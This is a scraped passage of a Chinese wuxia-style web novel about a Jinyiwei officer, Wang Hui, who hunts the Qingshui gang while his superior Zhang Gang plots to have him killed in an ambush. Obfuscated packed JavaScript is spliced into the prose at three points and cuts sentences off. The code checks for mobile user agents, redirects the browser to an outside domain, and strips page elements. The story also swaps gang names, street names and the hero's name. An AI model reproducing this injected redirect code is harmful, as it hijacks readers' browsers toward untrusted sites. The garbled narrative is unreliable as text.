唐浩坐在梨花木案后,玄色锦袍领口绣着暗金飞鱼纹,手指漫不经心地摩挲着案上镇纸——那是块和田玉,据说是他父亲从京城捎来的,边角被盘得温润发亮,却衬得他指节愈发分明。“没其他意思,”他声音平淡,却带着不容置疑的力道,“你直接回答就行。” 王辉沉吟片刻,指尖无意识地攥了攥刀穗。他想起昨日在阳明巷看到的景象:“实话说,想!”这两个字出口时,他喉结动了动,带着股压不住的锐气。 唐浩闻言,嘴角勾起一抹浅淡的笑意,从案角抽出一份折叠整齐的公文,递过去时,指尖还带着墨香:“我给你一个机会——彻查阳明巷一案,整个东院的锦衣卫,都优先由你调动。” 王辉上前两步,双手接过公文,指尖触到宣纸的凉意时,眼角余光瞥见末尾盖着的朱红大印——那是南城百户所的印信,边角还沾着点新磨的朱砂。他捏着公文的指腹微微用力,纸角被捏出一道浅痕:“大人,查到什么程度才算妥当?” “你想查到什么程度,就查到什么程度。”唐浩身子微微后倾,靠在椅背上,语气里带着几分漫不经心,却又掷地有声,“只要在大楚律法范围内,哪怕你把都江府的天捅破,我都给你兜着。东院弟兄任你调遣,官府那边的压力不用管,甭管清水帮背后站着谁,我一并接了。” 王辉眉头皱得更紧,心头泛起一丝疑虑——唐浩年轻,背景硬,按理说不必如此看重他一个小旗,莫不是在试探?他刚要开口辩解,却听唐浩又道:“你想查到什么结果,就去求什么结果。”唐浩手指轻轻敲着桌面,节奏不急不缓,“锦衣卫也好,江湖帮派也罢,你能做到哪一步,全看你本事。我只给机会,若是你能把百户所里的沉疴都挑破,我这个百户的位置,都能让给你坐。” 这话像块石头砸进王辉心里,让他心头一突。他当即拱手,腰弯得更低:“大人,属下……” “无需多虑。”唐浩打断他,声音里多了几分坦诚,“我既不是敲打,也不是试探。你猜得没错,我还年轻,背景也够,区区一个百户,自然不是我的终点。你只管去做,不必有后顾之忧。” 王辉盯着唐浩的眼睛,那双眸子亮得很,没有半分虚伪。他缓缓点头,双手抱拳:“属下遵命!” “去吧。”唐浩笑了笑,指尖划过案上的卷宗,“我很期待你的手笔。” 王辉再行一礼,转身退出书房。他走得极稳,靴底踩在青石板上,没有半分声响,直到走出百户所的大门,才轻轻舒了口气——方才在书房里,唐浩身上那股若有若无的威压,竟让他后背沁出了薄汗。 书房内,待王辉的脚步声彻底消失,屏风后缓缓走出一个文士。那文士身着青布长衫,袖口沾着点墨渍,手里还捏着支狼毫笔,正是唐浩的幕僚。他走到案边,将笔搁在砚台上,墨汁晕开一小片黑:“东家,这般看重这个王小旗?” 唐浩拿起案上的茶盏,抿了口温热的雨前龙井,点了点头:“如今的锦衣卫,像他这样有血性的人不多了。”他放下茶盏,指尖在卷宗上轻轻一点,“王辉这小子,不只是有血性,还有急智,天赋也不错。上次杀曹峰那事,你还记得吧?他没像其他人那样慌慌张张,反而先封了现场,还留了活口,做事果断又大气;今天这事,他虽有疑虑,却没瞻前顾后,反应够快,这就证明他是个能扛事的。” 幕僚拿起案上的供词,仔细看了两眼,眉头微蹙:“可他太年轻,才二十二岁,容易冲动。年轻人爬得太快,难免心浮气躁,万一往后野心大了,生出异心怎么办?” “你想多了。”唐浩忽然笑了,笑声里带着点少年人的锐气,却又藏着几分深沉,“咱们锦衣卫是朝廷机构,不是江湖帮派。王辉若是真有本事,真有野心,能爬到我头上去,我不介意当他的伯乐,甚至可以动用家里的势力推他一把。” 幕僚愣了愣,手里的供词差点滑落:“可他若不受您掌控,您这般费心,意义何在?” 唐浩站起身,走到窗边,望着外面飘落的梧桐叶,声音轻了些,却更坚定:“苏先生,你算得清利弊,却看不透人心。咱们锦衣卫是朝廷的刀,刀要快,更要有人敢握。王辉是块好铁,锻打出来能当利刃用。再说,这世上能帮自己的,不只有手下——朋友、伙伴、同袍,都是助力。我现在帮他,往后他未必不会帮我。” 幕僚缓缓点头,将供词放回案上:“那东家接下来打算怎么做?” 唐浩转过身,眼底掠过一丝冷意:“这都江府,早就污秽不堪了,该好好清洗清洗。王辉来得正好,先从清水帮下手,敲山震虎。” 苏先生叹了口气,语气里带着几分担忧:“学生知道东家一直想压一压临江府的江湖势力,可如今这世道……灭了一个清水帮,说不定还会冒出来一个地水帮、山水帮,治标不治本啊。” “我从没想着彻底禁了江湖。”唐浩走到案前,拿起那份给王辉的公文,指尖在“清水帮”三个字上轻轻划过,“我要的是规矩——我唐浩在都江府一天,就不允许江湖势力压过锦衣卫的风头。”他顿了顿,抬头望向门外,声音低了些,却带着不容置疑的决心,“而且,千户已经老了,身子又不好,这位置,也该换个能做事的人了。” 苏先生心里一动,瞬间明白了唐浩的打算——王辉查清水帮,既能立威,又能拿到功绩,等案子破了,唐浩再借着这功绩往上走,争夺千户之位便多了几分把握。他不再多言,只是躬身道:“学生明白了,这就去安排人手,盯着府衙那边的动静。” 唐浩点了点头,看着苏先生离开,重新坐回案前,拿起王辉的履历——,父亲也是锦衣卫,——难怪这小子身上有股不服输的劲,原来有锦衣卫的底子。 此时的王辉,刚走出百户所总院。日头已经西斜,天边染着一层橘红,风里裹着巷口包子铺飘来的肉香,却压不住他心头的热意。他将公文折好,塞进内侧衣襟,那里贴着心口,能感受到宣纸传来的微凉,却让他觉得踏实。 刚拐过街角,就见陈飞带着三个校尉迎了上来。陈飞的官服下摆沾了点尘土,显然是在门口等了许久,脸上满是急色。“您可算出来了!”陈飞声音压得低,眼神里满是担忧,“百户大人没为难您吧?咱们抓了清水帮的人,我这心里一直七上八下的,就怕大人不撑腰……” 其余三个校尉也围了上来,眼神里满是期待。王辉知道,他们昨天跟着自己抓了清水帮的人,已经断了退路,若是唐浩不支持,他们往后在东院怕是难立足,甚至可能被清水帮报复。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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校尉们齐声应下,转身匆匆离去。王辉站在原地,望着远处诏狱的方向,眼底闪过一丝冷意。他知道,清水帮不好惹,背后说不定还站着府衙的大官,但他不怕。 锦衣卫诏狱的地牢里,弥漫着铁锈和血腥气。石壁上的火把噼啪作响,映得刑架上的锁链泛着冷光。王辉站在牢门外,看着牢里那几个天水帮帮众——领头的是个疤脸汉子,左脸上有一道长长的刀疤,从额头划到下巴,昨天还梗着脖子喊“清水帮不好惹”,此刻却瘫在地上,嘴角挂着血,眼神涣散。 负责刑讯的校尉凑过来,低声道:“王旗官,都招了。还供出阳明巷的地是他们帮强占的。” 王辉接过校尉递来的供词,上面的字迹歪歪扭扭,却写得清清楚楚——甚至连清水帮在城外的藏货地点都写了出来。:“好一个清水帮,好” “王旗官,接下来怎么办?”校尉问道,语气里带着几分期待。 王辉将供词折好,塞进怀里:“你留在这里,看好这几个犯人,别让他们出意外。我现在回东院,召集其他小旗,商量下一步的计划。” 他转身走出地牢,刚踏上台阶,就听到身后传来疤脸汉子的哀嚎:“王旗官,我知道错了!求您饶了我吧!我还知道天水帮的大当家藏在哪…… 当王辉拿到那些供词之后, 第一时间,就派人将东院的另外三个小旗全部召集了过来。 有着百户唐浩的手令和文书, 那些小旗虽然与顾斩同一个级别,但都纷纷赶了过来。 15. 各有各的算计 东院议事大厅,青砖铺地,黑瓦压檐,虽不奢华却自有一股肃杀之气。 平日裡,这大厅总是显得空旷冷清,但今日却迥然不同。除王辉之外的另外三名小旗,均已带着各自麾下的精干校尉陆续抵达。二十余名东院的核心人物汇聚于此,按品级高低站立,鸦雀无声。原本宽敞的空间被飞鱼服和绣春刀填满,竟显出几分罕见的拥挤,空气中弥漫着一种山雨欲来的紧绷感。 当最后一位校尉悄无声息地并入队列,王辉从主位上抬起眼。他没有半句寒暄,直接切入主题,声音清朗而沉稳,在这寂静的大厅裡格外清晰: “诸位同僚,今日召大家前来,只为一事。阳明巷侵地一案,已有重大突破。”他目光如炬,扫过在场每一张面孔,“现已锁定数名主要责任人,证据初步确凿。今日召集诸位,便是要即刻行动,将这批案犯缉拿归案,一个不漏……” 话音未落,大厅门外陡然传来一声冰冷而充满威压的冷哼,硬生生截断了他的话。 “什么时候,我们东院轮到你王辉来发号施令了?” 众人悚然一惊,齐刷刷向门口望去。只见总旗张刚正迈过门槛,手中缓缓盘着两颗油光锃亮的铁胆,发出沉闷的摩擦声。他身后跟着一队心腹锦衣卫,个个气息精悍。张刚虽已满头华发,但身锦衣卫总旗,腰背挺直,精神矍铄,一双眼睛如鹰隼般锐利,扫视之间,不怒自威,强大的气场瞬间笼罩了整个大厅。 厅内众人无论内心作何想法,此刻皆纷纷躬身抱拳,齐声道:“参见张总旗!” 唯有王辉,依旧安然坐于主位之上,身体甚至微微向后靠了靠,指尖轻叩着黄花梨木的扶手,神色平淡无波,仿佛来的只是一位不速之客:“张总旗,本官正在此主持要务,你若无事,便请自便,勿要扰我等正事。” 张刚脸色瞬间阴沉得能滴出水来,眼中寒光一闪:“王辉!这里是东院,还轮不到你一个区区小旗来指手画脚!本官要做什么,你更没有资格过问!” 说罢,他不再看王辉,而是以更具压迫性的目光扫视全场,语气严厉如冰:“怎么,尔等手头是都没事可做了?竟在此听人妄言!全都给我回去各司其职!没有本官的允许,从今以后,任何人不得再私自集会!” 一众锦衣卫顿时面露难色,看看稳坐钓鱼台的王辉,又看看威势逼人的顶头上司张刚,一时进退维谷,大厅内的气氛凝滞到了极点。 王辉见状,却嗤笑一声,缓缓站起身,与张刚遥遥相对:“张总旗,恐怕今天这事,你还真管不了。” “狂妄!”张刚须发微张,真气隐隐鼓动,“谁给你的狗胆这么跟本官说话?!” “百户大人给的行不行?” 王辉声音陡然提高,不紧不慢地自怀中取出一封盖有朱红大印的手令与公文,朗声宣读,每一个字都清晰无比地砸在众人耳中:“奉百户唐浩大人之命,阳明巷侵地一案,由本官全权负责!东院上下所有锦衣卫,一应人员物资,均须无条件听从本官调遣,如有违抗,以军法论处!” 宣读完毕,他迈步走下主位,径直来到张刚面前,几乎能感受到对方因愤怒而粗重的呼吸。他直视着张刚那双几乎要喷出火的眼睛,将手令往前一递,一字一句问道:“张总旗,唐浩大人的手令在此!你说,这够不够资格?本官现在,有没有权力召开东院大会?有没有权力,让你——离开?” 张刚脸色铁青,胸口剧烈起伏了几下。他锐利的目光飞快地扫过大厅中那些下意识避开他视线的下属,心裡瞬间雪亮——这是王辉精心设下的一个局!故意封锁消息,不让他知晓唐浩的命令,就专等他按捺不住前来阻挠,好让他在所有下属面前颜面扫地,威严尽失! 而王辉,正好能借此机会狠狠打击他的威信,大幅提升自身的影响力。一旦这侵地案真被他办成了,届时自己在东院恐怕就真要被彻底架空。 然而,目光落在王辉手中那封代表着百户权威的手令上,他纵有千般怒火、万般不甘,也只能强行压下。此时此地,若公然反对王辉,就是公然违抗百户唐浩!这个罪名,即便他也承担不起。 “哼,不知天高地厚的竖子!”张刚从牙缝裡挤出这句话,声音冰冷刺骨,“咱们——走着瞧!” 说罢,他猛一甩袖,铁胆捏得咯吱作响,带着一腔滔天怒气,转身大步离去,脚步声在寂静的大厅裡回荡,格外刺耳。 王辉目送着他的背影消失在院外,眼中闪过一丝不易察觉的寒光,随即转过身,脸上已恢复平静,仿佛刚才只是一段无足轻重的小插曲。他继续部署,声音沉稳有力:“诸位同僚,我们继续。关于侵地案,现有线索均已整理成册,稍后我会将名单分派下去。名单上的人,务必擒拿,若有抵抗,格杀勿论!” 他深知,像清水帮这样的组织,绝非寻常市井泼皮无赖的松散聚合。每一个能在临江府屹立不倒的正式帮派,其背后必然有着盘根错节的势力和精心编织的保护网。清水帮的那些高层,明面上个个都是光鲜亮丽的体面人,或是富甲一方的商人,或是乐善好施的乡绅。就如同前些时日被他亲手斩杀的刘虎,名下就经营着好几家生意兴隆的酒楼与赌坊,这些无一不是洗白身份、攫取利益的正当掩护。 如今,虽然通过连日来的严密审讯和拷问,从几个小喽啰口中撬出了一些线索,锁定了一批直接参与泥瓶巷侵地事宜的打手和管事,但这些小鱼小虾,根本不足以撼动清水帮的真正根基,更无法直接给那些隐藏幕后的高层定罪。这是一场需要耐心和技巧的博弈,必须像剥笋一样,一层一层地揭开外壳,掌握足够扎实的铁证,才能最终将巨鳄拖出水麵。 而他现阶段能动的,就是这些直接参与侵地案以及可能牵扯进后续灭口毒杀案的中下层人员。他们的嘴,就是下一步行动的钥匙。 时间紧迫,王辉没有丝毫拖延。他迅速将事先早已准备妥当的名单,分别交给在场的三位小旗。每份名单上都明确标注了抓捕对象的姓名、身份、常出没地点以及负责抓捕的小队,条理清晰,任务明确。 很快,领命而来的锦衣卫们神色各异地陆续退出大厅,沉重的脚步声渐行渐远,迅速融入东院之外更广阔的街巷之中。 一直默立在王辉身侧的亲信校尉陈飞,这时才上前一步,脸上带着几分忧虑,低声道:“大人,清水帮那些老狐狸肯定早已将自身与侵地案的关联抹得一干二净。咱们现在就算把这些小鱼小虾都抓回来,严加拷问,恐怕也很难查到足以指向他们高层的铁证啊。” 王辉闻言,侧过头看了陈飞一眼,嘴角勾起一抹意味深长的弧度,反问道:“你以为,区区一个泥瓶巷的侵地案,本身真的很重要吗?” “啊?”陈飞明显一愣,脸上写满了困惑,“大人,我们此番大动干戈,难道不就是为了查清这侵地案,给百姓一个交代,并借此立功吗?” “不,”王辉微微眯起了眼睛,目光似乎穿透了厅堂的墙壁,望向了临江府更深沉的暗处,“我们要查的,从来就不只是哪一条巷子、哪一块地。我们要查的,是清水帮这个毒瘤本身!只要抓对人,就不愁找不到他们的破绽。找到一个,就抓一个;挖出一条线索,就顺藤摸瓜。具体是什么罪名,起初并不重要,重要的是,每一次出手,都必须能实实在在地打击到清水帮,让他们痛,让他们乱,让他们自己露出更大的马脚!这,才是目的。” 说罢,王辉不再多言,也无需等待陈飞完全理解这其中的曲折。他用力一挥手,斩钉截铁地道:“走!随我亲自去拿人!今日,便要让这都江府看看,我东院绣春刀的锋芒!” …… 东院另一侧,总旗张刚的案房内。 气氛与大厅的雷厉风行截然不同,显得格外压抑沉闷。一名身着青衣、眼神精明的幕僚轻手轻脚地走进来,反身掩上房门,然后才快步走到那张宽大的紫檀木公案前,躬身拱手,压低了声音禀报: “大人,那王辉已经带着人气势汹汹地出去了。如今这东院里,除了咱们牢牢握在手里的那些自己人,另外三个小旗麾下的人马,几乎都已唯王辉马首是瞻,听他调遣。再这样下去,恐怕用不了多久,这东院上下,就得彻底改姓王了!咱们的地盘,迟早被他蚕食殆尽!” 张刚面色阴沉如水,手中两颗铁胆被他捏得咯咯作响,彷彿下一瞬就要被捏碎。他冷哼一声:“你以为我看不出来吗?这小子仗着有几分蛮力,又不知用了什么手段攀上了唐浩的高枝!现在是唐百户在明里暗里地支持他,我能如何?难道要公然和百户大人对着干吗?” 那幕僚眼中闪过一抹狡黠的光芒,将身体俯得更低,声音也压得更轻,几乎如同耳语:“大人,唐百户支持的,是一条能替他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513467|186188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咬人、能替他取功劳的恶犬。可若这条狗突然变成了一条再也不能吠叫的死狗……您说,唐百户还会为了一个死人,来责怪您这位替他掌管东院多年的老臣吗?” 张刚眉头瞬间紧锁,眼中闪过一丝厉色,但随即又化为顾虑:“你是什么意思?难道让我亲自去动手杀了王辉?你疯了!他再嚣张,也是朝廷正七品的锦衣卫小旗,有官身护体!我若无故擅杀同僚,一旦事发,那是要拖累三族的大罪!这个险,绝不能冒!” 幕僚似乎早料到他会如此说,连忙解释道:“大人息怒!您当然不能亲自动手,甚至不能留下任何与我们相关的把柄。但是,这世上想让他死的人……可不止我们一家啊。比如,清水帮?” 张刚闻言,脸上怒色稍缓,但依旧摇头:“之前清水帮的确是有意除掉这个不知死活、屡屡挑衅他们的王辉。可今时不同往日!王辉如今不仅官位在身,背后更站着唐百户。清水帮那帮老狐狸,最是精明算计,他们怎么会愿意在这个时候,冒着激怒锦衣卫高层的巨大风险,去杀一个正得势的王辉?除非能保证一击必杀,并且毫无后患,否则,麻烦事可就大了!” 幕僚却摇了摇头,脸上露出一丝成竹在胸的笑容:“大人所言极是。对于现在的清水帮来说,主动出手击杀一位得势的锦衣卫小旗,需要付出的代价和承担的风险确实极大,极不划算。但是,大人,您仔细想想,按照王辉现在这步步紧逼、不死不休的架势,他查案是假,要彻底撕咬清水帮是真。一旦让他继续顺风顺水地查下去,今天抓几个管事,明天端掉一个赌坊,后天再撬开几个香主的嘴……清水帮的损失将会越来越大,根基都会被动摇!等到他们感到切肤之痛,甚至觉得生存受到威胁时,您说,他们还忍得住吗?还能保持那份所谓的‘精明’吗?” 他凑近一步,声音充满了诱惑:“等到那时,只要大人您适时地……嗯,透露一点口风,答应在关键时刻‘帮点小忙’,比如提供一点王辉的行踪,或者在他身边制造一点小小的‘疏忽’,保证清水帮能够以最小的代价、最稳妥的方式将王辉一击必杀,并且绝无后患……您说,他们会不会心动?会不会主动来找您合作?” “到了那时,”幕僚的笑容加深,“您不但能兵不血刃地除掉王辉这个心腹大患,重新牢牢掌控东院,清水帮那边,出于‘感谢’,想必还会奉上一大笔不敢记录在册的丰厚银子。一石二鸟,既除了对手,又得了实惠,何乐而不为呢?” 张刚听着,眼中的疑虑和怒色渐渐被一种贪婪和阴狠所取代。他盘弄铁胆的速度慢了下来,眼中精光闪烁,显然是在仔细权衡其中的利弊与可行性。 片刻后,他眼中闪过一丝决断,缓缓开口道:“那……依你之见,眼下本官该如何行事?总不能眼睁睁看着他继续立功嚣张吧?” “非也,非也。”幕僚胸有成竹地微微一笑,“大人眼下不仅不应给他使绊子,反而应该……暗中帮助他。” “帮他?”张刚眉头一挑。 “正是!”幕僚点头,“不但不明着阻挠,还要在暗中行些方便,甚至‘无意中’泄露一点无关紧要但听起来很有用的消息给他,让他查起案来更加顺风顺水,让他误以为大人您怕了他,或是不得不向他妥协。最好……最好能暗中推动,帮助他更快地掌握到清水帮某位真正顶尖高层的犯罪证据或藏身之处。” “哦?”张刚来了兴趣。 幕僚阴恻恻地笑道:“等到王辉真的触碰到清水帮最核心的利益,甚至威胁到某位真正大佬的安全时……清水帮高层必然震怒,也必然感受到前所未有的危机。到了那时,根本无需大人您去找他们,他们自会千方百计地主动来找您‘合作’求援。而那时,就是谈条件的最佳时机,也是王辉——自取灭亡的死期!” 张刚听完,缓缓靠向椅背,眼中闪烁着冰冷而算计的光芒,脸上终于露出了一丝笑容,缓缓道:“有道理……欲要使人灭亡,必先使其疯狂。好,很好!那就先让他再得意几天,让他爬得高些,再高些……高到,摔下来便会粉身碎骨!” 他摆摆手,幕僚会意,躬身行礼,悄无声息地退出了案房。 张刚独自坐在房中,手指有节奏地敲击着桌面,目光幽深地望向窗外王辉离去的方向,嘴角那丝冰冷的笑意久久未散。一场无形的风暴,正在他精心的算计下,悄然酝酿。 16. 陷阱? 南城锦衣卫百户所倾巢而出,昼夜不息地大肆抓人,这消息如同平地惊雷,瞬间引爆了整个都江府。 这一次,锦衣卫一改往日那等只敢欺压良善、敲诈小贩的萎靡形象,竟是锋芒直指南城第一大帮——清水帮! 短短数日之内, 清水帮名下诸多产业均遭横扫。多家生意兴隆的青楼、赌坊被贴上封条,粗暴查封;更有数十家商铺迎来了一批批面色冷峻、检查格外“认真”的锦衣卫。前后有几十位在都江府有头有脸的老板、掌柜被铁链锁走,投入诏狱。 此事引发了轩然大波。 只因明眼人都清楚,那些被抓的老板,其明面身份或许是富商,实则皆是清水帮中握有实权的大小头目。 一时间,临江府内暗流汹涌。各大帮派均屏息凝神,密切关注着事态发展;府衙官面之上虽波澜不惊,私下里却已是暗潮涌动,说情、打探、施压者不计其数。清水帮自然不会坐以待毙,与锦衣卫发生了多次正面冲突,期间更是爆发了数起流血事件,刀光剑影,已渐有失控之势。 而在这场愈演愈烈的风暴中心, 一个名叫王辉的年轻锦衣卫小旗,以前名不见经传,此刻却骤然闯入了临江城所有大小势力的视野之中。 只因这场针对清水帮各堂口的凌厉扫荡,领头者正是此人!他之所以能引来如此多的瞩目,全凭那狠辣无情、与过往锦衣卫截然不同的行事风格。短短几天,死伤在其刀下的清水帮众已有数十人之多,其名号带着血腥气,迅速传遍南城。 傍晚,南城百户所,东院。 办公大厅内灯火通明,人影绰绰。一众锦衣卫校尉、力士正忙而不乱地整理、归档着连日来清扫清水帮各堂口的卷宗公文,纸张翻动的哗啦声与低语声交织在一起,气氛紧张而有序。 王辉略显疲惫地靠坐在主位的圈椅上,手中端着一杯早已温凉的浓茶,眼眸微闭,心神却沉入体内,查看着那只有他自己能见的系统页面。经验值一栏,数字已悄然累积达到了一百点。 一股微弱的暖流在意念中盘旋,但他并未急于使用。 目前所掌握的刀法与轻功尚且够用,他心念所系,仍是提升根本的修为境界。内力每雄浑一分,在这危机四伏的世道便多一分保障。 这几日的冲突,规模实则都控制在了一定范围内。 只因行动皆在光天化日之下进行,打着缉拿案犯、清查罪证的正规旗号。清水帮除了少数悍不畏死、或是不得不硬撑场面的头目喽啰,大部分帮众并不敢公然对抗朝廷鹰犬。而那些真正的高层人物,则早已将自己从阳明巷侵地案中摘得干干净净,稳坐钓鱼台,冷眼看着手下人被抓。所擒获的多是中下层头目,因此爆发出的冲突烈度,尚未达到全面火并的程度。 “大人!” 突然,一名年轻校尉神色激动地从外面快步奔入,也顾不上行礼,急声道:“找到了!我们找到清水帮分舵主王凯与阳明巷侵地案直接关联的铁证了!” 王辉闻言,骤然睁开双眼,精光一闪而逝。 清水帮能成为南城第一大帮,等级秩序极为森严。最高位自然是帮主,其下设有两位副帮主辅佐,再之下,便是执掌一方地盘的四大分舵舵主。这王凯,正是四大舵主之一,已是清水帮绝对的核心高层,手握重权,势力盘根错节。 若能动得了他,意义将截然不同。 这意味着,针对清水帮的这场战役,将进入全新的阶段。一旦对王凯动手,无论成败,都等同于向清水帮的心脏插刀。届时,就不是他一个小旗能够独立主导的了,身后的百户唐浩,就必须亲自下场,调动更多的资源,与清水帮展开真正的决战。 “大人,”亲信陈飞在一旁,脸上却带着忧虑,“这王凯绝非我们近日所抓的那些人可比。他自身乃是成名已久的高手,一身修为早已踏入上三品之境,据说距离先天境界也只有一步之遥。更何况,他手握长宁分舵,麾下三个堂口兵强马壮,好手如云,常驻的核心刀手便有一两百号之多,势力根深蒂固。要动他……恐怕难如登天,极易引发大规模血斗。” 王辉听罢,却是轻笑一声,指尖摩挲着温凉的茶杯边缘,道:“谁告诉你,我们要真的凭这点人手就去硬擒一位分舵主?能不能抓到他人,本就不重要。” 陈飞一愣:“大人的意思是?” “我们只需要走这一遭,”王辉目光深邃,“我们需要一个足够份量的理由,一个能让守备军堂而皇之介入的理由。最好,是他们先动手,袭击奉命执法的锦衣卫。届时,冲突升级,性质就变了。我们是奉令拿人的官差,不是来跟他们江湖帮派逞勇斗狠、打擂台的火并的。一旦事态扩大,自然有朝廷的军队来收拾残局。” 陈飞恍然大悟:“属下明白了!我们的目的是将事情闹大,而非真的擒杀王凯。能抓则抓,不能抓,便逼他们反抗,引大军镇压!” 王辉微微颔首:“正是此理。” “不过,大人,”陈飞仍旧不放心,“为了安全起见,此次点齐所有人马一同前去方为稳妥。那长宁坊是王凯的老巢,龙潭虎穴一般。” 王辉点头道:“人手自然要带足。通知下去,东院所有能调动的人,全部集合。届时,我只需带一小队精锐进入坊内拿人,大队人马则在坊外埋伏接应。一旦看到信号,即刻冲入接应,制造混乱。” “是!”陈飞抱拳领命。 …… 入夜后的都江府,大多区域都陷入沉睡般的寂静。但总有些地方,夜幕才是它们苏醒的时刻,甚至比白昼更为喧嚣热闹。长宁坊,便是这样一个著名的销金窟。 这是由数条长街构成的繁华区域,青楼画舫、赌坊钱庄、酒楼食肆、地下拳场……凡是这个时代能想到的娱乐消遣,此处应有尽有,灯火彻夜不熄,笙歌永不落寞。 而这里,也正是清水帮四大分舵之一——长宁分舵的舵口所在之地。整片坊市,几乎都在其掌控之下。 长宁坊外,主干道入口处。 一队数十人的锦衣卫无声地肃立,飞鱼服在惨淡的月色和远处阑珊的灯火映照下,泛着冰冷的光泽,压抑的气息弥漫开来。偶尔有晚归的路人或是寻欢客经过,看到这副阵仗,无不脸色发白,慌忙绕行,生怕沾染上是非。 领头的正是王辉。他点了三名小旗、十名精锐校尉,合计约十五人,低声道:“你们随我入坊。其余人等,由陈飞带领,埋伏于此,没有我的信号,不得妄动!” 一名被留下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说罢,他侧头望向身旁那位一直出谋划策的心腹幕僚,确认道:“你都跟王凯那边谈妥了吧?” 幕僚急忙躬身,信心十足地答道:“大人放心,早已谈妥,绝无纰漏!只要王辉一踏入王凯预设的地界,他们便会毫不犹豫,下死手围杀!绝不会给他任何逃脱报信的机会。而我们唯一的任务,就是届时牢牢堵住坊外这些接应的锦衣卫,只需拖延片刻,待到坊内尘埃落定即可!” 张刚满意地点了点头,嗤笑道:“果然啊,古人之言不虚:欲要使人毁灭,必先使其疯狂。这王辉,就是最近太过顺风顺水,彻底膨胀了!真以为凭着一纸命令和几分狠劲,就没人敢动他?竟真敢只带这么点人就直闯龙潭!他以为清水帮还是以前那个只会忍气吞声的小角色吗?杀了他,清水帮最多也就丢出几个替死鬼顶罪,给百户所一个台阶下,这事也就了了。” 幕僚似乎想到什么,眉头微皱,低声道:“只是……如此一来,恐怕会彻底激怒唐浩百户?他若铁了心要追究……” “哼!”张刚不屑地冷哼一声,打断道:“追究?追究一个死人有何意义?唐浩是官场上的人,最懂权衡利弊。人活着,才是功劳,才是筹码,才值得他大动干戈去争、去保。人若死了,就只是一具尸体,一桩过去式的案子。到时候,我只需带人‘及时’赶回,痛心疾首地禀报,说王辉贪功冒进、轻敌擅闯,我等援救不及……他唐浩难道还会为了一个死人,再来重处我这个替他掌管东院多年、深知各方人情脉络的老总旗吗?不会的,事情,从来都是活人说了算!” 巷内陷入一片沉寂,只有张刚阴冷而得意的目光,穿透黑暗,牢牢锁死在远处那一片繁华与杀机并存的灯火之上。 17. 谁才是黄雀? 时间在令人窒息的紧张中快速流逝。 坊外的街道上,寒风卷着沙尘,吹得锦衣卫们的衣服沙沙作响。陈飞紧握着刀柄,指节因用力而发白,目光死死盯着长宁坊的方向,每一秒都如同一个时辰般漫长。他身后的数十名锦衣卫同样屏息凝神,空气中弥漫着焦灼与不安。 突然, “咻——嘭!” 一道刺眼的亮光猛地自长宁坊深处冲天而起,划破漆黑的夜幕,骤然炸开!那光芒未熄,紧接着,又是七八道信号弹争先恐后地呼啸升空,在空中交织、汇聚,最终赫然形成一个狰狞而清晰的图案——锦衣卫的飞鱼标志! 那是最高级别的求援信号,意味着里面的人正遭遇致命围攻,危在旦夕! “兄弟们!出大事了!王大人有危险!快随我冲进去接应!”陈飞眼眶欲裂,没有丝毫犹豫,“锵啷”一声悍然拔刀出鞘,雪亮的刀锋在月光下反射出冰冷的寒芒。 “锵锵锵!” 霎时间,长街上金戈之声响成一片,数十名锦衣卫同时抽刀,杀气腾腾,如同决堤洪流般就要朝着长宁坊入口冲去。 然而,就在此刻—— 街道两旁的黑暗巷口里,如同鬼魅般悄无声息地涌出两队人马,动作迅捷,阵型严整,恰好堵死了通往长宁坊的街道中央,人数约莫三十有余。 寒风愈发凛冽,微弱的月光勉强照亮来者。 陈飞等人骤然止步,瞳孔急剧收缩——因为挡住去路的,竟然也同样身着飞鱼服,是锦衣卫! “前方是哪一营的兄弟?我等奉王辉小旗之命,紧急入坊救援!为何拦我去路?”陈飞压下心头惊疑,厉声大喝。 一阵低沉的笑声从那队锦衣卫后方传来。人群分开,一个身着总旗官服的老者缓缓踱步上前,手中两颗铁胆不紧不慢地转动着,发出令人心烦意乱的摩擦声。黑袍在寒风中拂动,衬得他那张布满皱纹的脸愈发阴沉。 当看清来人的面容时,陈飞以及他身后一众锦衣卫脸色瞬间大变,忍不住惊呼出声: “张总旗!” 清冷的长街,枯叶在刀光中飘零旋转。 明晃晃的绣春刀,此刻却仿佛散发着比寒风更刺骨的冷意。 张刚目光扫过陈飞及其身后显得有些慌乱的队伍,声音沉稳却带着不容置疑的威严,朗声道:“所有人听令!即刻收起兵刃,撤回百户所待命,不得有误!” 作为王辉一手提拔、公认的左膀右臂,陈飞岂肯在这个关头放弃?他强压怒火,据理力争:“张总旗!您这是何意?我等是奉百户唐浩大人之命,协助王辉大人执行公务!您此刻阻拦,莫非是要公然抗命不成?” 张刚轻蔑地瞥了陈飞一眼,嗤笑道:“倒是一条忠心护主的好狗,可惜啊,眼力见差了点,跟错了主子。少拿唐百户来压我!现在,在这里,本官的命令就是军令!所有人,立刻给我撤回百户所!至于唐浩大人那里,本官自会去解释,还轮不到你一个小小的校尉来操心!” 陈飞脸色阴沉得能滴出水来,咬牙道:“张总旗!构陷同僚,借刀杀人,这可是株连三族的大罪!王大人和众多兄弟此刻正在坊内被歹徒围攻,命悬一线!你在此阻拦,就是将他们置于死地!此举与谋反何异?你担当得起吗?!” 张刚眼睛微眯,寒光乍现:“陈飞,你……是要抗命?” 